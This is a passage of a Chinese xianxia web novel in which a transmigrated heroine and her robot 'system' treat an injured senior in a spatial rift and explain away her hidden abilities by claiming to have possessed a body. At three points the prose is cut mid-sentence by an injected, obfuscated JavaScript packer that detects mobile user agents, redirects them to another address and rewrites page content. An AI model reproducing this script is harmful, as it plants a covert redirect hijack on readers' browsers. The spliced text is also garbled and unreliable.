淡淡说完最后一句,本该如同铜墙铁壁般的空间通道,被祝昭昭一剑劈出缝隙。 她毫不犹豫地跳了进去。 * 凄厉惨叫被重新合拢的空间通道彻底隔绝,祝昭昭在跃进通道的第一时间张开就防护结界—— 依旧被一道来势汹汹的凌厉乱流划破面颊。 “啊啊啊啊主人你没事吧?!” 看着祝昭昭脸上滑落的鲜血,202急得环顾四周:“这是什么鬼通道啊,黑得要死就算了,还到处都是乱飞的气刃。” “太危险了吧!” 不断以灵力填补被乱流划破的结界,祝昭昭随手摸出照明法器点亮:“你与其在那大呼小叫,不如赶紧趁现在帮我找找慕行秋在哪。” “不行啊主人。”202哭丧着脸,“刚才连续制造幻觉,我已经没什么能量了,一小时之内我暂时都没办法再启动系统了。” 并不意外这个结果,但祝昭昭还是多嘴问了一句:“那你现在怎么还在活动。” 202颇有点自豪:“那我怕主人你害怕嘛,就留下来陪你啦。” “挺好。”祝昭昭也不多客气,“帮我照明,一直消耗灵力还怪累。” 202想也不想:“不行哦,但我可以唱歌给主人你听。” 祝昭昭:…… 不如关机。 好歹没来由的郁结情绪在与202的一问一答间消散不少,祝昭昭漫无目的地思忖着,开始搜索慕行秋的身影。 空间乱流如同风暴,无端刮起又无端停止。这虽然给了祝昭昭喘/息的时间,但毫无规律可言的变化还是让已经消耗不少的她有些疲于招架。 再次闪身躲过一道乱流,祝昭昭一手曲起放在唇边:“慕师兄,你在哪?” 无人回应,漆黑的空间里,只有她勉力提高的声音在不断回响。 时间一分一秒过去,祝昭昭本就所剩无几的精力也一点点地被消耗。 头脑仿佛被雾气笼罩住般变慢,照明法器点亮的景象渐渐变得模糊,她双眼开始无意识地失焦。 防护结界再无力维持的瞬间,乱流风暴也一并降临。 202焦急的呼唤声已然听不真切,祝昭昭撑起最后一丝精力避开—— 却还是将手臂留在了乱流范围内。 也就在乱流将要触上手臂的最后一刻,祝昭昭忽然察觉到身边出现了不属于自己的气息。 下一秒,她感觉自己落进一个带着温度的怀抱中。 微凉的手掌轻覆上努力想睁开的双眼,她听见耳边传来一声叹息。 带着些无奈的熟悉话音响起—— “睡吧。” 101. “他拼着重伤也要保护主人你诶!” 醒来的时候,周围平静到诡异。 记忆停留在空间乱流朝自己袭来的那刻,祝昭昭支起身子,另一边手掌揉太阳穴。 刺痛消解不少,她缓过神来,终于有心思观察四周。 接着很快发现除了被手边数颗夜明珠照亮的空间外,四周依旧是一眼望不见尽头的漆黑。 也就是说,她还在空间通道里。 只是…… “这什么地方。”支着身子的手一个不稳,祝昭昭这才注意到自己两条手臂竟然都可以自如活动。 她愣。 自己竟然全须全尾地从空间乱流里逃出来了?? 意识到这点的瞬间,祝昭昭在脑海里召唤202:“202你在哪?快出来我有事问你。” “来了来了。” 淡绿色荧光闪动,202出现在空中:“首先,主人我知道你现在很急,但你先别急!因为……” 根本不跟它废话,祝昭昭直接亮出电击键。 这下轮到202急了。 它两只机械手在空中乱飘:“因为、因为主人你再纠结这事的话,大反派可能就要死了!” 祝昭昭:…… 请问这两件事之间的关联是? 不解归不解,但慕行秋要是真死了,事情会变得比较麻烦。所以没什么好脸色地斜了202一眼,祝昭昭站起身:“他人在哪。” “在这在这。”自觉逃过一劫的202连忙带路。 没走两步就已经在夜明珠的指引下瞧见躺在地上的身影,祝昭昭定睛细看片刻,顿时倒抽口凉气。 “他脸怎么那么红。” 焦急的表情凝固在显示屏上,202欲言又止:“主人啊,比起脸……有没有可能大反派手上的伤口看起来会更恐怖一点?” 它飞到慕行秋上方,自带的幽幽荧光将慕行秋映亮:“主人你看,血哧呼啦的。” 在202的帮助下顺利看见慕行秋的伤处,祝昭昭瞬间面色微变,原本因劫后余生而稍稍变得轻快的心情也消失无踪。 她立刻蹲在慕行秋的伤手旁仔细查看:“手臂上的伤口已经见骨了,血也是刚刚才凝固的……怎么会伤得这么重。” “主人你是不是真的睡傻了?” 202用一种‘我主人脑子还好吗’的表情看着祝昭昭:“你以为之前空间乱流袭来的时候,是谁护住了主人你啊?” 祝昭昭怔。 仿佛被点醒般,那时怀抱的温度与微不可察的叹息,终于在此刻排山倒海般出现在她脑海,让她一颗心几乎控制不住地发颤。 深呼吸,再狠狠抿紧唇,祝昭昭最后一言不发地注视着地上的人。 边上202的声音还在继续:“而且主人你真的没注意到吗,他躺的这个位置都在你对面不远,完全就是为了方便第一时间查看你的情况诶!” “如果不是确实伤得太重昏迷了,主人你醒了的话,大反派会第一时间去问你怎么样了吧。” “多好的人啊,”它摸着下巴,‘啧啧’两声,“拼着自己重伤的风险也要护住师妹,自己都半死不活了,还想着要照顾师妹的情况。” “虽然上周目表现实在不怎么样,不过本周目至少作为剑宗大师兄这会儿,大反派做得其实真没什么问题呢。” 越说越来劲,202开始胡言乱语:“剧情快结束的时候,主人你看看能不能给他一个好结局呗?我觉得原本那个独自隐退就不错,至少还活着呢。” “上周目他也没死好吗?” 祝昭昭终于忍无可忍:他只是把其他人都弄死了,让我们不得不开启二周目而已。” 202顿时以沉默缓解尴尬。 见它一副鹌鹑样,祝昭昭没什么好气地:“你与其有闲空在那边畅想未来,还不如现在过来帮我处理他的伤口。不然他死了,我们跟死了也没差了。” 自知理亏的202彻底蔫巴下去,老实飞到祝昭昭身边。 手持夜明珠小心靠近慕行秋伤口附近,祝昭昭盯着那肿胀发红的边缘:“他烧得很重,应该是感染得厉害。” “那怎么办?” 202想了想:“直接用这边的治愈法术行吗?” “可以。” 祝昭昭实话实说:“但他这样的伤势,非高阶治愈法术不可能痊愈,而我虽然可以施术,但治疗后伤口恢复程度和修为的关系非常大。” 无意识垂下眼帘,祝昭昭抿唇:“也就是说……” “也就是说主人你这会儿修为不够,就算可以施展高阶治愈术效果也不会很好呗。” 条件反射似地说完,202后知后觉注意到祝昭昭不太高兴的脸色:“呃,主人我是不是又说错话了。” “你没说错话。” 按捺下心头隐约的烦躁感,祝昭昭闭眼深呼吸:“你只是很喜欢在不该说实话的时候大说实话。” 202:…… 当系统好难哦。 “算了。”夜明珠随手放到一边,祝昭昭盘膝坐在地上,“说那么多也没用,先处理他伤口吧。反正伤口处理得差不多了再用治愈术,最后效果也一样。” 话落朝202招招手示意它过来,祝昭昭言简意赅:“消炎药,我先帮他控制住感染。” 介于祝昭昭属于是老油条中的老油条,各种积分权限早已升到顶级。于是202完全没问她消炎药兑换需要用积分的事,直接换了一瓶递给她:“给你主人。” 把掌心多出来的药瓶拿起来看了眼,祝昭昭脸上带了点笑:“还知道拿效果最好的,难得机灵一回。” 被夸得心花怒放,202得意:“那当然,身为系统,这点眼力见还是要有的嘛。” 哼着小曲儿飞到慕行秋上方打开照明模式,202看着祝昭昭拧开药瓶,突然想起什么:“主人,我有个问题。” 边专心整理202给的其他物品,祝昭昭边应:“说。” “你说我们现在给大反派治伤……”202认真思考,“等会儿治到一半他醒了怎么办。” 闻言先是一怔,祝昭昭立刻就反应过来202想表达什么。 “你说得没错。”直起身,她摩挲着手心里的酒精瓶子,“如果他醒来看见这些完全不属于本位面的东西,确实不好解释。” “尤其主人你还是以原身的面目熟练使用这些东西。” 小心翼翼说着,202显示屏里的两只眼睛下移,仿佛已经想象到慕行秋半路醒来的可怕景象:“大反派要是醒了,真就浑身长嘴都说不清了。” 略一思忖后,祝昭昭道:“全息投影吧。” 顺着202的视线朝地上望,她目光不自觉落在慕行秋血色尽失的苍白嘴唇:“随便找个符合本位面的装扮形象,地上的东西也投影成丹丸药膏什么的。” “这样到时候就算慕行秋真不小心醒了,也可以用他重伤烧出幻觉了来推脱掉。” 202‘嘶’一声:“他要不依不饶问下去呢?” 祝昭昭死鱼眼:“装死。” 两只眼睛可疑地移到一边,202最后默默调出了投影界面。 先麻利地把地上药品器具投影成丹丸药膏,它百无聊赖在界面上切换:“服饰发型按本位面来……主人,脸的话用谁的啊?” 快速清理掉伤口附近的尘土和细小碎石,祝昭昭头也不抬:“随便,是人脸就可以。” 202听得满头黑线。 什么叫人脸就可以啊? 原始人的脸也是人脸,那能用吗? 不自觉想到那画面,险些笑出声来的202拼命眨眼转移注意力,接着被屏幕左上角的固定人脸吸引了注意。 那是作为参考的,祝昭昭本人的脸。 盯着那张脸,202开始大思考。 主人的脸配这个位面的装扮……会是什么样子呢? 被下方祝昭昭往伤口倒酒精的声音惊醒,202一双眼在屏幕和她身上来回切换一阵后,终于下定决心,将罪恶的机械手悄咪咪伸向了【选定原生脸】按键。 反正大反派看不到,看到了也认不出来,那让它看个新鲜,应该没问题吧? 202:计划通·jpg 造型投影完成的最后一刻,祝昭昭略显不耐烦的声音也在只有他们两个能听见的精神空间响起:“投影界面怎么还挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280584|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那,投个影需要那么久?” “202你是不是又在搞什么鬼。” 本就做贼心虚的202立刻收起界面:“没有啊没有,早就已经弄好啦。” 它双眼一眨不眨看着祝昭昭,像是发现了什么新大陆:“嗯……我就是看到主人你直接把一瓶酒精往大反派伤口上倒,有点害怕而已。” 镊子夹起棉花擦干伤口上残余的酒精,祝昭昭面无表情地讲冷笑话:“意思是你替了他害怕的份?” 看着看着开始发呆,202小声喃喃:“意思是我觉得主人你如果去的是二部门的位面世界,其实完全可以大杀四方。” ??? 没想到听见的居然是这么个风马牛不相及的回答,祝昭昭先是一怔。 手上动作也跟着停了下来。 再接着,她眼帘忽地半沉下去。 “……” 以最快的速度往伤口撒上消炎药粉再包扎好,接着慕行秋嘴里扔了消炎药和退烧药各一颗,她面无表情地摸向储物袋。 在瞄见东西边缘露出储物袋的时候,就反应过来祝昭昭拿的是铜镜。202瞳孔地震,以职业生涯以来最快的反应和手速,重新调出投影界面—— 慕行秋被左臂处传来的剧痛刺醒。 头脑因高烧有些迷蒙,眼前景象亦因此看不真切。阵阵真切的疼痛随着意识的恢复开始愈加剧烈,他心中却始终没什么波澜。 他早已习惯这种疼痛。 受伤,昏迷,被疼痛催醒,最后独自上药疗伤,收拾善后。 哦,这次还要记得先看看那个为了救自己而主动跳进空间乱流的,不太聪明的小师妹。 一切本该如此进行。 然而这次,除了疼痛外,似乎还有什么不一样的东西出现了。 是什么? 是…… 轻柔的触感再次从左臂传来,慕行秋微微侧头。 一张陌生的少女面庞,就此映入他眼帘。 他烧得太过厉害,视线模糊到看不清少女究竟是何模样,只能隐约分辨出少女低垂的、鸦羽般的长睫,自肩头滑落的乌发,白皙笔直的脖颈和正附在自己伤口上的,纤细如青葱般的手指。 而也许是因为他动得不明显,又或许是因为少女太过专注,总之,她并没有发现他的小小动作。 她只是认真地、细致地、自顾自地在处理那血肉模糊的伤口。 可她是谁? 这一望无际的黑暗空间里,为何会有人存在? 他进来的时候,分明是确定此处没有丝毫生机与气息的。 那她究竟如何出现在此处? 纷杂的,越飘越远的思绪在意识到这点的瞬间猛地被收回,慕行秋定神准备起来的刹那,少女手上的动作也忽然停住。 再接着,她猝不及防又很有技巧地捏开他的嘴,扔了两颗东西进来。 虽然味道似乎有些诡异,但慕行秋还是很快分辨出被扔进嘴的是药。他心一沉,立刻想将之吐出来。 可还不等他有所动作,下一秒,他眼睁睁看着少女消失。 取而代之的,是那个这会儿应该还在对面躺着,等着他去照顾的小师妹。 …… 小师妹? 刚才那个与自己年岁相仿的少女,是小师妹? 那一刻,某种隐蔽的情绪突然不受控制地翻涌而出,将他的胸口与脑海淹没。 慕行秋彻底清醒过来,怔怔看着眼前的画面—— 他那本该在空间乱流冲击下昏迷不醒的小师妹,此刻正盯着空气,仿佛在和对面什么如有实质的东西对峙。 而她手底下正在释放的,是虽然稍显生疏…… 却货真价实的高阶治愈术。 也许是自己的视线太过强烈,小师妹的目光很快收回并下移,再与自己对上。 清晰地望着那双明亮杏眼里的怒火是如何转为震撼与惊恐,慕行秋甚至一时不知道该用何种表情来应对眼前的情况。 最后,他选择扯出个没什么情绪的笑。 哈。 他的小师妹…… 究竟还藏着多少秘密呢? 102. 你身上究竟还有多少秘密 如果被抓包有等级,那么自己此刻面对的被抓包情况,一定是当之无愧的最高级。 处理伤口,喂药,和202对峙,投影消失,施放高阶治愈术…… 慕行秋是在哪个时候醒的? 看着对面人不辨喜怒的脸,祝昭昭在脑海里飞快盘算。 他看起来像是被气笑的,可是他笑什么,刚才发生过的事里有一件是好笑的吗? 颤抖的视线落在慕行秋嘴角那毫无笑意的弧度,祝昭昭这会儿恨不得直接把202电到回收。 乱流割裂空气发出的啸音,仿佛都被隔绝在眼前这令人窒息的沉默外。时间一点点过去,越憋越心烦的祝昭昭最后干脆主动出击。 她收回施放治愈术的手,艰难地扯起唇角:“慕师兄你伤得有点重,左手看起来好可怕哦。” “是么。” 闻言神色随意地扫了眼左手臂,慕行秋象征性地弯了弯眉眼:“但师妹你不是包扎得很好么。” 虽然这会儿没心情客套,但生怕刺激慕行秋,祝昭昭还是张嘴想回。 下一秒,就听他继续:“甚至还有心思扎个花结。” “很漂亮。” 一句‘过奖’当即被慕行秋阴阳回肚里,祝昭昭终于忍无可忍。 坐起身,慕行秋静静望着对面一下子卸了力,歪七扭八靠在石壁上的少女。 似乎是已经装都懒得装,往常自己视线一扫便会立刻坐直的少女,此刻却动都不动。 看样子像是真的可以就那样一直坐下去。 时间一分一秒过去,慕行秋最后叹了口气:“身上可有何处受伤?” 嗯…… 哪里受伤吗? 终于反应过来对面人说的是什么,祝昭昭差点顺着石壁滑下去。 竟然没有趁这个时候兴师问罪,反倒是关心起人来了?? 是不是有点不按常理出牌了。 祝昭昭:啧。 这倒显得她以小人之心度君子之腹了。 颇有些不好意思地坐直起来,祝昭昭表面一派平静地望着慕行秋,实则内心已经满头大汗。 不为什么,就因为她这会儿身上…… 完全没有什么严重伤口。 祝昭昭:擦汗猫猫头·jpg 半天没吭声,对面人的目光开始越来越有存在感。被看得如坐针毡,祝昭昭苦思冥想片刻后,掌心向上握拳抬手。 慕行秋就那么看着她动作。 无视对面人多了些微审视的目光,祝昭昭手腕一翻露出手背。 她语气不太确定:“手背上……” 慕行秋:“嗯。” “蹭破了点皮,算吗?” 眼尖瞧见慕行秋脸上一闪而过的怔仲,明知道不对,但祝昭昭还是顿时有种恶作剧得逞的感觉。 视线蜻蜓点水般在伸到面前的手背上一扫,慕行秋似笑非笑地:“师妹觉得呢?” 问我? 那我就说是。 一看慕行秋那副表情就想阴阳他两句,祝昭昭偷偷深呼吸,好不容易忍住笑:“好了慕师兄,还是让我们……” 剩下的话没能说下去。 因为慕行秋手里不知何时多了一盒小巧的膏药。 他眉眼低垂,修长手指轻轻在膏体上摩挲:“手不要收回去。” 下一秒,沾着薄薄药膏的手指落在祝昭昭手背。 冰凉的药膏激得她一惊,来自慕行秋手指的温度又很快在手背上蔓延。 看着一点点附上白色药膏的小小破皮处,祝昭昭撑着地的另一边手下意识微蜷。 痒痒的,好不习惯。 正出神,对面慕行秋淡声开口:“为什么跟过来。” “因为……” 当然不能把真正目的说出来,祝昭昭想了想,答:“因为担心慕师兄你一个人会出什么意外,所以我——” “所以你觉得你闯入这空间里,就能防止我出意外?” 他浅淡的声音里甚至多了笑,说出的话却称得上毫不客气:“祝师妹是不是忘了,方才的空间乱流,是何等的险境?” 抿了抿唇,祝昭昭没吭声。 不是任务在身,谁想跑来这鬼地方? 玩探险的都有不敢去的禁地,当别人都是傻*吗? 越想越忿忿,她偷偷撇嘴。 而且这家伙到底在生哪门子气。 明明不喜欢被人抛下。 好在慕行秋并未在这个问题上纠缠太久:“你进入此地前,其他人的情况如何?” 祝昭昭闻言立刻打起精神:“大家都没什么事。” 想起自己进来前白月书近乎声嘶力竭的呼喊,她垂眸:“而且我进来的时候,那个什么神已经筋脉尽断灵气枯竭,死掉只是时间问题。” “如此。” 点点头,慕行秋收回手:“可以了。” 微温的触感消失,手背也早已将药膏吸收得七七八八。祝昭昭看着恢复原样的手,刚想道声谢,便听对面的慕行秋再道—— “小师妹你仅凭金丹之身便可闯入此空间,我可以当是巧合;在空间乱流中独自撑到我寻见你,我也可以当是你运气好。” “但你能不能告诉我……” 说着微笑起来,他示意般轻轻抬起被包扎着的左臂:“你是如何施展出非元婴乃至化神期;哪怕是水系天灵根,也需金丹后期才可施展出的高阶治愈术的?” 终于还是来了。 哪怕对此早有心理准备,祝昭昭依旧难免心底一个咯噔。 定定神,她佯作惊讶地倒抽口凉气:“什么?我刚才施展的是高阶治愈术?” “可这是师父……” 然而她话还没说完,对面的慕行秋就忽地弯起眉眼,只说了三个字。 “祝昭昭。” 祝昭昭顿时闭嘴。 坏了。 都喊上全名了。 看来这回够呛能随便混过去。 祝昭昭:熊猫吸氧·jpg 见她低着头半晌不说话,慕行秋最后无奈闭上眼。 再睁开:“早先你刚入门,又常常待在宗内,是以我不好随意臆测,担心冤枉了你,平白让你受委屈。” “然而如今数月过去,你身上的疑点却越来越多。” 眼底复杂神情收敛消失,慕行秋盯着对面少女,语气再不复方才那般轻松随意:“多到哪怕我还想只当你是普通弟子,都实在难以为继。” 祝昭昭沉默。 身后石壁靠了很久,这会儿本该早已沾上自己的体温。 可此时此刻,她却只觉得它冰冷坚硬,硌得自己整片背都在发痛。 “如此说来,” 伤口在高阶治愈术的作用下快速复原,慕行秋无视血肉生长传来的痒意:“月书和之衡说,你是他们在山下遇见的,你帮了他们大忙。” “是替他们在炼器铺子找回了公道?” 散碎可疑,却始终难以被注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这等于从根本上动摇了任务基石。 摇摆不定的心意在此刻一锤定音,祝昭昭低着头,微蜷的手指一点点收紧,像是终于下定某种决心。 “202。” 被电得在地上滚的202垂死病中惊坐起:“什么?” “准备清理模式。” “清理……” 片刻反应过来,202大惊失色:“主人你的意思是你要洗掉大反派的记忆?” “嗯。” “洗坏了怎么办?” 202‘嘶’一声:“毕竟大反派现在还带着伤呢,谁知道正常参数会不会也出意外啊?” 出什么意外? 伤着的又不是脑子! 祝昭昭不耐烦:“能怎么办,我没法确定他什么时候醒的,看他架势又不可能善了。” “不趁这时候洗掉他记忆,等着他怀疑我,最后任务失败吗?” 始作俑者202没词了:“好吧倒也是……” 说完不再多话,202熟门熟路地调出清洗记忆界面。 也就在这时,对面的慕行秋终于再次开口。 他望着背靠石壁,始终始终一言不发的祝昭昭:“你是否——” “是夺舍之人。” 103. “夺人舍,天理不合” 夺舍之人? 祝昭昭先是一怔。 再猛一抬头,愣愣看着对面满脸肃色的人。 对啊。 她为什么不可以是一个夺人躯壳的魂灵? 哪怕这个行为会让修行界所不齿…… 但至少给了她的所有行径一个最合理的解释啊! 202已经识相地暂停记忆清洗,祝昭昭在它的提醒下回过神来。 表情管理立刻重新上线,她抿抿唇,装出一副黯然悔过的模样:“……对不起。” 围观全程的202顿时就急了:“主人你糊涂啊,就这三个字怎么能体现你的真诚悔……” 慕行秋:“拜入剑宗多久前的事。” 惊掉下巴的202:“……” 真就‘对不起’就够了?? 这就叫做多说十句不如少说一句吗?? 202:记小本本。 一派淡然的眼底藏着几不可察的审慎,慕行秋看着祝昭昭。 虽然不知道她听见自己说出‘夺舍’一词的那刻,为什么会露出那种出乎意料的表情…… 但她承认了。 定定神,慕行秋继续:“你的真正身份。” “散修。” 有了由头,祝昭昭就不会缺说辞:“而且真要说起来,我其实不算夺舍。” 她抬手轻摇,破碎的袖口跟着轻晃:“因为我是在这个小女孩死后,才偶然进入的她的躯壳。” “偶然?” 指尖轻敲地面,慕行秋似笑非笑:“按你说法,你如今所占据的这具躯壳来自山野小村。那你一介散修无事不去修炼……” “竟有闲情逸致去什么都没有的山野小村闲逛么?” 他说着,唇角微弯:“还是说,这具躯壳的来源,又或是你现在对我说的这些话里——” “有一样是假的?” 闻言摇动的手一僵,祝昭昭深呼吸。 假假假,假你个头啊! 疑心病那么重,实在喜欢刨根问底就去剑宗山脚和大爷大娘坐一圈唠个够行吗? 她就说这些反派没一个省油的灯! 狠狠磨完牙,祝昭昭皮笑肉不笑:“慕师兄此言差矣。” “我偶然进入这个小姑娘躯壳是真,小姑娘当时在小山村同样是真。” 反正天大地大,没人知道小山村究竟是哪个小山村,那随便编还不是信手拈来。 偷偷吐槽完,祝昭昭假装回忆得很认真:“我因为被仇人追杀躲进那个小山村,他追着我来,找不到我就在村里杀人取乐。” “我实在看不下去,便设计坑杀了他,但因实力差距太大,所以自己同样重伤濒死。” 她耸耸肩:“但没想到我仇人其实也没死透,所以当我要起身时,他拼尽最后一口气,朝我掷出暗器。” “而我当时气力尽失,实在躲不掉。所以哪怕他掷出暗器后气绝,我却也无法躲过暗器。” “然天无绝人之路,我倒地的位置不远,恰好就是这个女孩的尸首,并且她刚……” 剩下的话没说下去,祝昭昭指指自己:“最后我进入她的躯壳,一直用这副身体活到现在。” 最后一个字落下,空气安静下来。 慕行秋不说话,祝昭昭也不急于开口。反正她话已经说出去了,怎么理解判断是慕行秋的事,她插不了手。 “这么说,倒是我错怪师妹了。” 片刻后,慕行秋慢悠悠道:“只是师妹你躲进山野小村也能被找到;坑杀仇人他却还能撑着最后一口气设计你;你濒死时还刚好碰到一具气绝不久的尸首……” “但凡少一个环节,今天师妹你都不能坐在我面前。” 他弯起眉眼:“师妹确实,命带奇遇。” 祝昭昭完全不意外他的反应。 就知道这家伙还是不信。 那就来点狠的,一次治到位。 “慕师兄不信我的话?” 神情闪过一丝受伤,她语气多了委屈不忿:“这具躯壳的致命伤在胸口,因为差点刺破心脏,哪怕用了药,至今仍留有浅印。慕师兄若不信,我这便让你看看——” 边说手边抓住领口,祝昭昭正准备用力下拉,下一秒,她突然发现手不再受自己控制。 “我并不是不相信师妹,师妹冷静些如何?” 指尖灵光闪烁,慕行秋手指轻动,控制祝昭昭的手与衣襟拉开距离:“我当然清楚师妹委屈,只是师兄遇见的人太多太杂,其中心怀不轨的人亦不在少数。” “所以师兄习惯多问几句罢了。” 盯着自己被控制的手抚好衣襟,最后甚至还拍了拍平整,祝昭昭差点笑出声:“原来如此,那还是慕师兄你心细如发。” “不过昭昭是不是好人,慕师兄你应该很清楚不是吗?” 笑眯眯地抬起头,祝昭昭朝他伤口方向轻抬下巴:“慕师兄感觉恢复得怎么样?” “不错。” 收回指尖灵力,慕行秋亦朝她微笑颔首:“若不出预料,伤口此刻应该已恢复得差不多了。” “多谢师妹相助。” 心说知道就好,祝昭昭摆出副宽宏大量的架势:“没事,我明白慕师兄的苦衷,误会解开了就好。” “师妹如此宽宏大量,实在让师兄汗颜。” 目光落在包扎整齐的左臂,慕行秋盯着那模样奇异的花结:“只是师妹,师兄最后还有一个问题想问你。” 脸上轻松的笑容一滞,祝昭昭警惕起来:“什么问题?” 仔细观察对面人的反应,她在脑海里示意202准备好记忆清洗。 顺着祝昭昭的目光看过去,202有点犹豫:“不好吧主人,等会儿大反派伤到了怎么办?” 这死家伙又来! 祝昭昭不耐烦:“伤什么伤,你没见听他说他已经好得差不多了?” “而且你到底怎么回事,究竟我是你搭档还是他是你搭档。我都说了大胆放心洗,你老是推三阻四的干什么?” “嗐,这不是怕等会儿不小心洗出点毛病来嘛。” 202上下乱飞以缓解尴尬:“毕竟是重要角色,小心点总是好的嘛。” 对此番说辞的回应是点开电击界面,祝昭昭言简意赅:“三。” 正常情况下,哪怕再不情愿,202最后总会在面对倒数真言时,积极响应祝昭昭的话。 但大概是因为过劳导致失去理智,它竟然开始耍起赖来:“主人你老是用这个威胁我,明明刚才我还帮了你那么多忙的!” “我不管,我不干了!” 闻言根本懒得搭理它,祝昭昭木着脸准备把它抓过来自己操作。 202见状更来劲了,当场一蹦三尺高:“主人你不关心我了,你怎么可以这样!” 越说越激动,它伸出两只长长的机械手臂开始乱甩,边甩还边乱嚎。 祝昭昭简直被它撒泼的无赖模样气得头晕。 然而碍于那两只疯狂的机械手臂,她一时竟奈何不了它。 暗忖202这家伙三天不打上房揭瓦,祝昭昭正准备来点不客气的,下一秒,耳边忽地响起慕行秋的声音—— “以我的年岁称呼你为师妹,是否冒犯?” 眼看着即将上演全武行的一人一机:诶? 要问的就是这个? 不过为什么? 脑子里瞬间无数念头急转,祝昭昭最后选了个最稳妥的答案:“真要说的话,不算冒犯。” “但我年岁也并不小。” 按照自己刚才那番夺舍经历的描述,祝昭昭给了个折中的数字:“我记得慕师兄你,如今已过弱冠了吧?” 慕行秋:“嗯。” 祝昭昭继续:“那我的话就是……” 慕行秋眉眼弯弯:“是?” “刚好差你5岁。” 没想到慕行秋竟然会接这种接话头,祝昭昭莫名,有些奇怪地睨他一眼:“桃李之年咯?” “如此。” 面对祝昭昭略显无礼的视线,慕行秋却没什么不悦的反应。 他甚至很好脾气地点头:“我们年岁相仿,师妹你懂得却比我多,佩服。” 祝昭昭都快分不清这是不是在阴阳了:“散修不比宗门弟子,多些保命手段是正常的。” 轻笑一声,慕行秋不再继续这话题:“既然所有事情都已解释清楚,我们接下来,便不需要再有所隐瞒。” 有所隐瞒的明明是你吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280586|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祝昭昭:指指点点·jpg 臂上伤口彻底恢复,慕行秋站起身:“师妹可否说说真名?” “稍后我们应该会用上。” 还真名,还用上。 反正该说的不该说的都说得差不多了,多说个真名也没差。祝昭昭于是痛快开口:“行不更名坐不改姓,就叫祝昭昭。” “如此。” 慕行秋说完,像是终于注意到什么:“师妹眼瞳何故上翻?” 翻着白眼的祝昭昭:“眼睛痒。” 慕行秋:“……” 他怔,难得不知道怎么回应。 简直不忍直视,202在祝昭昭耳边小声哔哔:“主人,大反派都傻了,你说点正经话吧。” 傻了才好,省得老找事。 偷偷吐槽完,祝昭昭最后勉强补了四个字:“非礼勿视。” 闻言如梦初醒,慕行秋低头后了然:“倒是慕某失礼了。” 抬手在两人间立起结界,他声音被阻隔着,听起来模糊不清:“还请师妹稍等片刻。” 无所谓等不等或等多久,祝昭昭身上一软重靠回石壁,面无表情地盯着对面一片朦胧。 这当口202在她耳旁叨叨:“主人,大反派这反应,算不算是彻底打消对你的怀疑了啊?” 祝昭昭死鱼眼,不答反问:“你觉得呢?” “嗯……” 202伸出机械手臂去摸它那并不存在的下巴:“主人你都这么说了的话,那我觉得不算。” 闻言身子一歪差点滑到地上,祝昭昭简直无力吐槽。 完全不觉得她的反应有什么问题,202继续:“不过主人啊,我还注意到一件很奇怪的事。” 祝昭昭调整坐姿:“什么事,没用的事可以不说。” 202显示屏上的大眼睛一闪一闪:“和大反派有关的事算没用吗?” 看着那充满智慧的眼神,祝昭昭心底长叹一声后,捏了捏眉心:“说。” “就是……” 202斟酌着,像是不知道要怎么说比较好:“为什么大反派要特别问主人你的年龄啊?” 就这? 祝昭昭嗤声:“年龄太小会的东西太多很可疑,所以他问问。你觉得这很特别?” “可是……” ‘嘶’地倒吸口气,202有点不解:“那他为什么会紧张啊?” “紧张?” 祝昭昭像是听见什么笑话:“你眼睛像素应该是没对齐。” “真的啊!” 被怀疑的202立刻急了:“这地方黑主人你可能没注意到,但我看得清清楚楚。” “大反派问你年纪的时候,整个肢体语言表现超紧张的。不,不只是紧张!” 它手舞足蹈:“是不安加紧张!好像主人你的答案对他而言,真的很重要很重要!” 被202的架势唬得一愣一愣的,原本没当回事的祝昭昭也变得迟疑起来:“是么……” 被202这么提醒后,她确实回忆起什么来。 刚才她好像确实隐约注意到慕行秋的眼底藏着某种情绪,只是她当时正不爽,所以并未在意。 这么说来,当时他眼底藏着情绪是什么来着? 是…… 眼前的朦胧消失,已经换了身衣服的慕行秋出现在祝昭昭眼前。 他一身布衣整齐:“我已找到出口,我们这便出去罢。” 望着对面人那熟悉的脸,那惯常的,总是平静的,看不出任何情绪起伏的双眼,祝昭昭仿佛灵光一闪般,终于意识到什么。 啊,她知道了。 是期待。 是藏得小心翼翼,如果不是她穿行位面多年观察入微,几乎不会被察觉到的,刻意被死死压抑的期待。 祝昭昭恍惚。 可是有什么好期待的呢? 年龄这东西,到底有什么好期待的呢? 似乎是等待回应的时间有些久,祝昭昭看见慕行秋挑眉。 回过神来,她‘哦’了一声,站起来拍拍身上的尘土。 管他期待什么,爱期待什么期待什么。 她能完成任务就好。 嗯,没错。 就是这样。 104. 他该不会是吃药坏脑子了吧? 跟着慕行秋走了很长一段路,直到脚底开始发痛的时候,祝昭昭才后知后觉意识到什么。 看着面前与身后别无二致的无尽漆黑,她问:“我们为什么走?” “你知道出口在哪?” 